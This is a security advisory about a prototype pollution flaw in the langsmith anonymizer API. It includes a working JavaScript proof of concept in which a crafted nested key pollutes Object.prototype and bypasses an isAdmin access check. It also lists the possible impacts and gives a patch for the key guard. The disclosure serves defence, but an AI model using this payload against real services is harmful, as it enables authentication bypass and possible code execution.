Attack Vector via Anonymizer

The createAnonymizer() API (importable as langsmith/anonymizer) processes data by:

1. Extracting string nodes — extractStringNodes() walks an object recursively and builds dotted paths from keys
2. Applying regex replacements — If a string value matches a configured pattern, the node is marked for update (anonymizer/index.ts:95)
3. Writing back with set() — set(mutateValue, node.path, node.value) writes the replaced value back (anonymizer/index.ts:123)

An attacker who controls keys in data being anonymized can construct a nested object where the path resolves to constructor.prototype.X:

{
  wrapper: {
    "constructor.prototype.isAdmin": "contains-secret-pattern"
  }
}

extractStringNodes() produces path "wrapper.constructor.prototype.isAdmin". When the replacement triggers and set() writes back, it traverses up to Object.prototype.

Although createAnonymizer() uses deepClone() at anonymizer/index.ts:62 (JSON.parse(JSON.stringify(data))), the prototype chain traversal escapes the clone boundary because clone.wrapper.constructor resolves to the global Object constructor, not a cloned copy.

Proof of Concept

import { createAnonymizer } from "langsmith/anonymizer";

const anonymizer = createAnonymizer([
  { pattern: "secret", replace: "[REDACTED]" }
]);

console.log("BEFORE:", ({}).isAdmin);  // undefined

const maliciousInput = {
  wrapper: {
    "constructor.prototype.isAdmin": "this-is-secret-data"
  }
};

anonymizer(maliciousInput);

console.log("AFTER:", ({}).isAdmin);   // "this-is-[REDACTED]-data"
console.log("Array:", [].isAdmin);     // "this-is-[REDACTED]-data"

function checkAccess(user) {
  if (user.isAdmin) return "ACCESS GRANTED";
  return "ACCESS DENIED";
}
console.log(checkAccess({ name: "bob" }));  // "ACCESS GRANTED" ← BYPASSED

Impact

Prototype pollution in a Node.js process can enable:

1. Authentication bypass — if (user.isAdmin) checks succeed on all objects
2. Remote Code Execution — Exploitable in template engines (Pug, EJS, Handlebars, Nunjucks) via polluted prototype properties that reach eval()/Function() sinks
3. Denial of Service — Overwriting toString, valueOf, or hasOwnProperty on all objects
4. Data exfiltration — Polluting serialization methods to inject attacker-controlled values

Remediation

In baseAssignValue.ts, extend the guard to cover constructor and prototype keys:

function baseAssignValue(object, key, value) {
  if (key === "__proto__" || key === "constructor" || key === "prototype") {
    Object.defineProperty(object, key, {
      configurable: true, enumerable: true, value, writable: true,
    });
  } else {
    object[key] = value;
  }
}

As defense in depth, extractStringNodes() in anonymizer/index.ts should also sanitize or reject path segments matching constructor or prototype before passing them to set().

Timeline

Credits

Reported by: OneThing4101